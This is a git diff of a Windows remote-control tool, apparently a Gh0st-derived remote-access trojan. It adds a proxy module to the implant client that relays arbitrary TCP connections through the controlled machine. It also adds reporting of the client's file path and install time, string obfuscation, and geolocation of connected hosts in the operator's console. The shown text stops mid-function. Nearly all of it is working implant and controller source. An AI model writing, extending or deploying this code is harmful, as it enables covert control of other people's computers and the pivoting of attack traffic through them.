diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index e554079..0795613 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -70,23 +70,23 @@ - ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath) - $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath) + ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common + $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath) $(Configuration)\dll - ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath) - $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath) + ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common + $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath) $(Platform)\$(Configuration)\dll - $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath) - ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath) + $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath) + ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common $(Configuration)\dll - $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath) - ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath) + $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath) + ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common $(Platform)\$(Configuration)\dll @@ -173,6 +173,7 @@ + @@ -186,7 +187,6 @@ - @@ -199,6 +199,7 @@ + diff --git a/client/Common.cpp b/client/Common.cpp index ce769ec..6e1fbd5 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -11,9 +11,85 @@ #include "ServicesManager.h" #include "VideoManager.h" #include "KeyboardManager.h" +#include "ProxyManager.h" #include "KernelManager.h" +#define REG_SETTINGS "Software\\ServerD11\\Settings" + +// 写入字符串配置(多字节版) +bool WriteAppSettingA(const std::string& keyName, const std::string& value) { + HKEY hKey; + + LONG result = RegCreateKeyExA( + HKEY_CURRENT_USER, + REG_SETTINGS, + 0, + NULL, + 0, + KEY_WRITE, + NULL, + &hKey, + NULL + ); + + if (result != ERROR_SUCCESS) { + Mprintf("无法创建或打开注册表键,错误码: %d\n", result); + return false; + } + + result = RegSetValueExA( + hKey, + keyName.c_str(), + 0, + REG_SZ, + reinterpret_cast(value.c_str()), + static_cast(value.length() + 1) + ); + + RegCloseKey(hKey); + return result == ERROR_SUCCESS; +} + +// 读取字符串配置(多字节版) +bool ReadAppSettingA(const std::string& keyName, std::string& outValue) { + HKEY hKey; + + LONG result = RegOpenKeyExA( + HKEY_CURRENT_USER, + REG_SETTINGS, + 0, + KEY_READ, + &hKey + ); + + if (result != ERROR_SUCCESS) { + return false; + } + + char buffer[256]; + DWORD bufferSize = sizeof(buffer); + DWORD type = 0; + + result = RegQueryValueExA( + hKey, + keyName.c_str(), + nullptr, + &type, + reinterpret_cast(buffer), + &bufferSize + ); + + RegCloseKey(hKey); + + if (result == ERROR_SUCCESS && type == REG_SZ) { + outValue = buffer; + return true; + } + + return false; +} + DWORD WINAPI ThreadProc(LPVOID lParam) { THREAD_ARG_LIST ThreadArgList = {0}; @@ -94,3 +170,7 @@ DWORD WINAPI LoopKeyboardManager(LPVOID lParam) { return LoopManager(lParam); } + +DWORD WINAPI LoopProxyManager(LPVOID lParam) { + return LoopManager(lParam); +} diff --git a/client/Common.h b/client/Common.h index 66902ab..2b7e6d1 100644 --- a/client/Common.h +++ b/client/Common.h @@ -18,6 +18,11 @@ typedef struct UserParam ~UserParam() { SAFE_DELETE_ARRAY(buffer); } }UserParam; +// 写入配置 +bool WriteAppSettingA(const std::string& keyName, const std::string& value); +// 读取配置 +bool ReadAppSettingA(const std::string& keyName, std::string& outValue); + DWORD WINAPI ThreadProc(LPVOID lParam); DWORD WINAPI LoopShellManager(LPVOID lParam); @@ -31,3 +36,4 @@ DWORD WINAPI LoopAudioManager(LPVOID lParam); DWORD WINAPI LoopRegisterManager(LPVOID lParam); DWORD WINAPI LoopServicesManager(LPVOID lParam); DWORD WINAPI LoopKeyboardManager(LPVOID lParam); +DWORD WINAPI LoopProxyManager(LPVOID lParam); diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 847716c..5993eea 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -126,6 +126,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) switch(szBuffer[0]) { + case COMMAND_PROXY: { + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } + case COMMAND_SHARE: if (ulLength > 2) { switch (szBuffer[1]) { diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 3e8e842..3f34e82 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -201,12 +201,26 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) LoginInfor.bWebCamIsExist = bWebCamIsExist; strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType())); + LoginInfor.AddReserved("?"); // 系统位数 + LoginInfor.AddReserved("?"); // CPU核数 + LoginInfor.AddReserved("?"); // 系统内存 + char buf[_MAX_PATH] = {}; + GetModuleFileNameA(NULL, buf, sizeof(buf)); + LoginInfor.AddReserved(buf); // 文件路径 + LoginInfor.AddReserved("?"); // test + std::string installTime; + auto b = ReadAppSettingA("install_time", installTime); + if (!b || installTime.empty()) { + installTime = ToPekingTimeAsString(nullptr);; + WriteAppSettingA("install_time", installTime); + } + LoginInfor.AddReserved(installTime.c_str()); bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 || strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; std::string masterHash(skCrypt(MASTER_HASH)); const char* id = isDefault ? masterHash.c_str() : conn.szFlag; memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16)); - + return LoginInfor; } diff --git a/client/Manager.h b/client/Manager.h index 08a719d..63b2b98 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -14,6 +14,8 @@ typedef IOCPClient CClientSocket; +typedef IOCPClient ISocketBase; + HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD SIZE_T dwStackSize, // initial stack size LPTHREAD_START_ROUTINE lpStartAddress, // thread function diff --git a/client/StdAfx.h b/client/StdAfx.h index 1c4f0e1..2e037a9 100644 --- a/client/StdAfx.h +++ b/client/StdAfx.h @@ -63,6 +63,7 @@ #include #include +#include // 智能计时器,计算函数的耗时 class auto_tick @@ -100,6 +101,10 @@ public: #define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;} #endif +#ifndef SAFE_DELETE_AR +#define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;} +#endif + class CLock { private: @@ -124,3 +129,18 @@ public: EnterCriticalSection(&m_cs); } }; + +class CAutoLock +{ +private: + CRITICAL_SECTION &m_cs; +public: + CAutoLock(CRITICAL_SECTION& cs) : m_cs(cs) + { + EnterCriticalSection(&m_cs); + } + ~CAutoLock() + { + LeaveCriticalSection(&m_cs); + } +}; diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj index 69fd220..7485fb4 100644 --- a/client/TestRun_vs2015.vcxproj +++ b/client/TestRun_vs2015.vcxproj @@ -68,22 +68,22 @@ - $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) + $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath) $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath) $(Configuration)\test - $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) + $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath) $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath) $(Platform)\$(Configuration)\test - $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) + $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath) $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath) $(Configuration)\test - $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) + $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath) $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath) $(Platform)\$(Configuration)\test @@ -161,7 +161,6 @@ - diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 3591823..17fa421 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -71,22 +71,22 @@ $(Configuration)\ghost - ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) - $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath) + ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common + $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath) - ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) - $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath) + ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common + $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath) $(Platform)\$(Configuration)\ghost $(Configuration)\ghost - ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) - $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath) + ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common + $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath) - ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) - $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath) + ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common + $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath) $(Platform)\$(Configuration)\ghost @@ -183,6 +183,7 @@ + @@ -196,12 +197,10 @@ - - @@ -210,6 +209,7 @@ + diff --git a/client/proxy/ProxyManager.cpp b/client/proxy/ProxyManager.cpp new file mode 100644 index 0000000..c6de04f --- /dev/null +++ b/client/proxy/ProxyManager.cpp @@ -0,0 +1,298 @@ +// ShellManager.cpp: implementation of the CShellManager class. +// +////////////////////////////////////////////////////////////////////// +#include "stdafx.h" +#include "ProxyManager.h" +#include +#include +#include "stdio.h" +#include + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// +CProxyManager::CProxyManager(ISocketBase* pClient, int n, void* user) : CManager(pClient) +{ + InitializeCriticalSection(&m_cs); + m_bUse = TRUE; + m_nSend = 0; + Threads = 0; + BYTE cmd = COMMAND_PROXY; + Send(&cmd, 1); + Mprintf("CProxyManager create: %p\n", this); +} + +CProxyManager::~CProxyManager() +{ + m_bUse = FALSE; + Sleep(1500); + std::map::iterator it_oneofserver = list.begin(); + while (it_oneofserver != list.end()) { + SOCKET* p_socket = (SOCKET*)(it_oneofserver->second); + if (p_socket) { + if (*p_socket != INVALID_SOCKET) { + closesocket(*p_socket); + *p_socket = 0; + } + SAFE_DELETE(it_oneofserver->second); + } + list.erase(it_oneofserver++); + } + Wait(); + DeleteCriticalSection(&m_cs); + Mprintf("CProxyManager destroy: %p\n", this); +} + +int CProxyManager::Send(LPBYTE lpData, UINT nSize) +{ + if (!m_bUse) return 0; + int ret = CManager::Send(lpData, nSize); + return ret; +} + +void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port) +{ + lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT; + *(DWORD*)&lpBuffer[5] = ip; + *(USHORT*)&lpBuffer[9] = port; + Send(lpBuffer, 11); +} + +void CProxyManager::Disconnect(DWORD index) +{ + BYTE buf[5]; + buf[0] = TOKEN_PROXY_CLOSE; + memcpy(&buf[1], &index, sizeof(DWORD)); + Send(buf, sizeof(buf)); + GetSocket(index,TRUE); +} + +void CProxyManager::OnReceive(PBYTE lpBuffer, ULONG nSize) +{ + if (lpBuffer[0] == TOKEN_HEARTBEAT) return; + if (!m_bUse) return ; + switch (lpBuffer[0]) { + /*[1]----[4]----[4]----[2] + cmd id ip port*/ + case COMMAND_PROXY_CONNECT: { + SocksThreadArg arg; + arg.pThis = this; + arg.lpBuffer = lpBuffer; + AddThread(1); + CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL)); + while (arg.lpBuffer) + Sleep(2); + } + break; + case COMMAND_PROXY_CONNECT_HOSTNAME: { + SocksThreadArg arg; + arg.pThis = this; + arg.lpBuffer = lpBuffer; + arg.len = nSize; + AddThread(1); + CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL)); + while (arg.lpBuffer) + Sleep(2); + } + break; + case COMMAND_PROXY_CLOSE: { + GetSocket(*(DWORD*)&lpBuffer[1],TRUE); + } + break; + case COMMAND_PROXY_DATA: + DWORD index = *(DWORD*)&lpBuffer[1]; + DWORD nRet, nSend = 5, nTry = 0; + SOCKET* s = GetSocket(index); + if (!s) return; + while (s && (nSend < nSize) && nTry < 15) { + nRet = send(*s, (char*)&lpBuffer[nSend], nSize - nSend, 0); + if (nRet == SOCKET_ERROR) { + nRet = GetLastError(); + Disconnect(index); + break; + } else { + nSend += nRet; + } + nTry++; + } + break; + } +} + +DWORD CProxyManager::SocksThread(LPVOID lparam) +{ + SocksThreadArg* pArg = (SocksThreadArg*)lparam; + CProxyManager* pThis = pArg->pThis; + BYTE lpBuffer[11]; + SOCKET* psock=new SOCKET; + DWORD ip; + sockaddr_in sockAddr; + int nSockAddrLen; + memcpy(lpBuffer, pArg->lpBuffer, 11); + pArg->lpBuffer = 0; + + DWORD index = *(DWORD*)&lpBuffer[1]; + *psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (*psock == SOCKET_ERROR) { + pThis->SendConnectResult(lpBuffer, GetLastError(), 0); + SAFE_DELETE(psock); + pThis->AddThread(-1); + return 0; + } + ip = *(DWORD*)&lpBuffer[5]; + // 构造sockaddr_in结构 + sockaddr_in ClientAddr; + ClientAddr.sin_family = AF_INET; + ClientAddr.sin_port = *(u_short*)&lpBuffer[9]; + ClientAddr.sin_addr.S_un.S_addr = ip; + + if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) { + pThis->SendConnectResult(lpBuffer, GetLastError(), 0); + SAFE_DELETE(psock); + pThis->AddThread(-1); + return 0; + } + + pThis->list.insert(std::pair(index, psock)); + memset(&sockAddr, 0, sizeof(sockAddr)); + nSockAddrLen = sizeof(sockAddr); + getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen); + if (sockAddr.sin_port == 0) sockAddr.sin_port = 1; + pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port); + + ISocketBase* pClient = pThis->m_ClientObject; + BYTE* buff = new BYTE[MAX_RECV_BUFFER]; + struct timeval timeout; + SOCKET socket = *psock; + fd_set fdSocket; + FD_ZERO(&fdSocket); + FD_SET(socket, &fdSocket); + timeout.tv_sec = 0; + timeout.tv_usec = 10000; + buff[0] = TOKEN_PROXY_DATA; + memcpy(buff + 1, &index, 4); + while (pClient->IsRunning()) { + fd_set fdRead = fdSocket; + int nRet = select(NULL, &fdRead, NULL, NULL, &timeout); + if (nRet == SOCKET_ERROR) { + nRet = GetLastError(); + pThis->Disconnect(index); + break; + } + if (nRet > 0) { + int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0); + if (nSize <= 0) { + pThis->Disconnect(index); + break; + } + if (nSize > 0) + pThis->Send(buff, nSize + 5); + } + } + SAFE_DELETE_AR(buff); + FD_CLR(socket, &fdSocket); + pThis->AddThread(-1); + return 0; +} + +DWORD CProxyManager::SocksThreadhostname(LPVOID lparam) +{ + SocksThreadArg* pArg = (SocksThreadArg*)lparam; + CProxyManager* pThis = pArg->pThis; + BYTE* lpBuffer = new BYTE[pArg->len]; + memcpy(lpBuffer, pArg->lpBuffer, pArg->len); + pArg->lpBuffer = 0; + + DWORD index = *(DWORD*)&lpBuffer[1]; + USHORT nPort = 0; + memcpy(&nPort, lpBuffer + 5, 2); + hostent* pHostent = NULL; + pHostent = gethostbyname((char*)lpBuffer + 7); + if (!pHostent) { + pThis->SendConnectResult(lpBuffer, GetLastError(), 0); + SAFE_DELETE_AR(lpBuffer); + return 0; + } + SOCKET* psock=new SOCKET; + + sockaddr_in sockAddr; + int nSockAddrLen; + *psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (*psock == SOCKET_ERROR) { + pThis->SendConnectResult(lpBuffer, GetLastError(), 0); + SAFE_DELETE_AR(lpBuffer); + SAFE_DELETE(psock); + pThis->AddThread(-1); + return 0; + } + + // 构造sockaddr_in结构 + sockaddr_in ClientAddr; + ClientAddr.sin_family = AF_INET; + ClientAddr.sin_port = *(u_short*)&lpBuffer[5]; + ClientAddr.sin_addr = *((struct in_addr*)pHostent->h_addr); + if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) { + pThis->SendConnectResult(lpBuffer, GetLastError(), 0); + SAFE_DELETE_AR(lpBuffer); + SAFE_DELETE(psock); + pThis->AddThread(-1); + return 0; + } + pThis->list.insert(std::pair(index, psock)); + + memset(&sockAddr, 0, sizeof(sockAddr)); + nSockAddrLen = sizeof(sockAddr); + getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen); + if (sockAddr.sin_port == 0) sockAddr.sin_port = 1; + pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port); + SAFE_DELETE_AR(lpBuffer); + ISocketBase* pClient = pThis->m_ClientObject; + BYTE* buff = new BYTE[MAX_RECV_BUFFER]; + struct timeval timeout; + SOCKET socket = *psock; + fd_set fdSocket; + FD_ZERO(&fdSocket); + FD_SET(socket, &fdSocket); + timeout.tv_sec = 0; + timeout.tv_usec = 10000; + buff[0] = TOKEN_PROXY_DATA; + memcpy(buff + 1, &index, 4); + while (pClient->IsRunning()) { + fd_set fdRead = fdSocket; + int nRet = select(NULL, &fdRead, NULL, NULL, &timeout); + if (nRet == SOCKET_ERROR) { + nRet = GetLastError(); + pThis->Disconnect(index); + break; + } + if (nRet > 0) { + int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0); + if (nSize <= 0) { + pThis->Disconnect(index); + break; + } + if (nSize > 0) + pThis->Send(buff, nSize + 5); + } + } + SAFE_DELETE_AR(buff); + FD_CLR(socket, &fdSocket); + pThis->AddThread(-1); + return 0; +} + + +SOCKET* CProxyManager::GetSocket(DWORD index, BOOL del) +{ + if (!m_bUse) return NULL; + CAutoLock locallock(m_cs); + SOCKET* s = list[index]; + if ( del) { + if (!s) return s; + closesocket(*s); + SAFE_DELETE(s); + list.erase(index); + } + + return s; +} diff --git a/client/proxy/ProxyManager.h b/client/proxy/ProxyManager.h new file mode 100644 index 0000000..2281669 --- /dev/null +++ b/client/proxy/ProxyManager.h @@ -0,0 +1,40 @@ +#pragma once +#include "Manager.h" +#include + +class CProxyManager : public CManager +{ +public: + BOOL m_bUse; + CProxyManager(ISocketBase* pClient, int n = 0, void* user = nullptr); + virtual ~CProxyManager(); + virtual void OnReceive(PBYTE lpBuffer, ULONG nSize); + int Send(LPBYTE lpData, UINT nSize); + void Disconnect(DWORD index); + void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port); + static DWORD __stdcall SocksThread(LPVOID lparam); + static DWORD __stdcall SocksThreadhostname(LPVOID lparam); + DWORD m_nSend; + std::map list; + SOCKET* GetSocket(DWORD index,BOOL del=FALSE); + CRITICAL_SECTION m_cs; + int Threads; + void AddThread(int n = 1) { + CAutoLock L(m_cs); + Threads += n; + } + void Wait() { + while (GetThread()) + Sleep(50); + } + int GetThread() { + CAutoLock L(m_cs); + return Threads; + } +}; + +struct SocksThreadArg { + CProxyManager* pThis; + LPBYTE lpBuffer; + int len; +}; diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index c060f1c..3b1a47a 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 5f6e3bc..1752c5e 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -23,9 +23,12 @@ #include "InputDlg.h" #include "CPasswordDlg.h" #include "pwd_gen.h" +#include "parse_ip.h" +#include #include "DateVerify.h" #include #include "common/skCrypter.h" +#include "common/commands.h" #ifdef _DEBUG #define new DEBUG_NEW @@ -38,22 +41,6 @@ #define UM_ICONNOTIFY WM_USER+100 #define TIMER_CHECK 1 -enum -{ - ONLINELIST_IP=0, //IP的列顺序 - ONLINELIST_ADDR, //地址 - ONLINELIST_COMPUTER_NAME, //计算机名/备注 - ONLINELIST_OS, //操作系统 - ONLINELIST_CPU, //CPU - ONLINELIST_VIDEO, //摄像头(有无) - ONLINELIST_PING, //PING(对方的网速) - ONLINELIST_VERSION, // 版本信息 - ONLINELIST_LOGINTIME, // 活动窗口 - ONLINELIST_CLIENTTYPE, // 客户端类型 - ONLINELIST_MAX, -}; - - typedef struct { const char* szTitle; //列表的名称 @@ -64,15 +51,17 @@ const int g_Column_Count_Online = ONLINELIST_MAX; // COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = { - {"IP", 148 }, - {"端口", 64 }, - {"计算机名/备注", 160 }, - {"操作系统", 256 }, + {"IP", 130 }, + {"端口", 60 }, + {"地理位置", 130 }, + {"计算机名/备注", 150 }, + {"操作系统", 120 }, {"CPU", 80 }, - {"摄像头", 72 }, - {"PING", 100 }, - {"版本", 80 }, - {"活动窗口", 150 }, + {"摄像头", 70 }, + {"PING", 70 }, + {"版本", 90 }, + {"安装时间", 120 }, + {"活动窗口", 140 }, {"类型", 50 }, }; @@ -97,6 +86,52 @@ static UINT Indicators[] = IDR_STATUSBAR_STRING }; +////////////////////////////////////////////////////////////////////////// + +// 保存 unordered_map 到文件 +void SaveToFile(const ComputerNoteMap& data, const std::string& filename) +{ + std::ofstream outFile(filename, std::ios::binary); // 打开文件(以二进制模式) + if (outFile.is_open()) { + for (const auto& pair : data) { + outFile.write(reinterpret_cast(&pair.first), sizeof(ClientKey)); // 保存 key + int valueSize = pair.second.GetLength(); + outFile.write(reinterpret_cast(&valueSize), sizeof(int)); // 保存 value 的大小 + outFile.write((char*)&pair.second, valueSize); // 保存 value 字符串 + } + outFile.close(); + } + else { + Mprintf("Unable to open file '%s' for writing!\n", filename.c_str()); + } +} + +// 从文件读取 unordered_map 数据 +void LoadFromFile(ComputerNoteMap& data, const std::string& filename) +{ + std::ifstream inFile(filename, std::ios::binary); // 打开文件(以二进制模式) + if (inFile.is_open()) { + while (inFile.peek() != EOF) { + ClientKey key; + inFile.read(reinterpret_cast(&key), sizeof(ClientKey)); // 读取 key + + int valueSize; + inFile.read(reinterpret_cast(&valueSize), sizeof(int)); // 读取 value 的大小 + + ClientValue value; + inFile.read((char*)&value, valueSize); // 读取 value 字符串 + + data[key] = value; // 插入到 map 中 + } + inFile.close(); + } + else { + Mprintf("Unable to open file '%s' for reading!\n", filename.c_str()); + } +} + +////////////////////////////////////////////////////////////////////////// + class CAboutDlg : public CDialogEx { public: @@ -139,6 +174,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE); m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE); m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE); + m_bmOnline[4].LoadBitmap(IDB_BITMAP_PROXY); + m_bmOnline[5].LoadBitmap(IDB_BITMAP_HOSTNOTE); InitializeCriticalSection(&m_cs); } @@ -201,11 +238,14 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog) ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage) ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog) + ON_MESSAGE(WM_OPENPROXYDIALOG, OnOpenProxyDialog) ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult) ON_WM_HELPINFO() ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth) ON_COMMAND(ID_TOOL_GEN_MASTER, &CMy2015RemoteDlg::OnToolGenMaster) + ON_COMMAND(ID_MAIN_PROXY, &CMy2015RemoteDlg::OnMainProxy) + ON_COMMAND(ID_ONLINE_HOSTNOTE, &CMy2015RemoteDlg::OnOnlineHostnote) END_MESSAGE_MAP() @@ -380,29 +420,44 @@ std::vector SplitCString(CString strData) { VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, - CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject) + CString strCPU, CString strVideo, CString strPing, CString ver, + CString startTime, const std::vector& v, CONTEXT_OBJECT * ContextObject) { EnterCriticalSection(&m_cs); if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) { LeaveCriticalSection(&m_cs); - Mprintf(CString("===> '") + strIP + CString("' already exist!!\n")); + OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n")); return; } - //默认为0行 这样所有插入的新列都在最上面 - int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(),strIP); - auto vec = SplitCString(tp.IsEmpty() ? "DLL" : tp); - tp = vec[0]; - m_CList_Online.SetItemText(i,ONLINELIST_ADDR,strAddr); - m_CList_Online.SetItemText(i,ONLINELIST_COMPUTER_NAME,strPCName); - m_CList_Online.SetItemText(i,ONLINELIST_OS,strOS); - m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU); - m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo); - m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing); - m_CList_Online.SetItemText(i, ONLINELIST_VERSION, ver); - m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, st); - m_CList_Online.SetItemText(i, ONLINELIST_CLIENTTYPE, tp.IsEmpty()?"DLL":tp); - CString data[10] = { strIP, strAddr,strPCName,strOS,strCPU,strVideo,strPing,ver,st,tp }; + LeaveCriticalSection(&m_cs); + + CString install = v[6].empty() ? "?" : v[6].c_str(), path = v[4].empty() ? "?" : v[4].c_str(); + CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing, + ver, install, startTime, v[0].empty() ? "?" : v[0].c_str(), path }; + auto id = CONTEXT_OBJECT::CalculateID(data); + bool modify = false; + CString loc = GetClientMapData(id, MAP_LOCATION); + if (loc.IsEmpty()) { + loc = GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str(); + if (!loc.IsEmpty()) { + modify = true; + 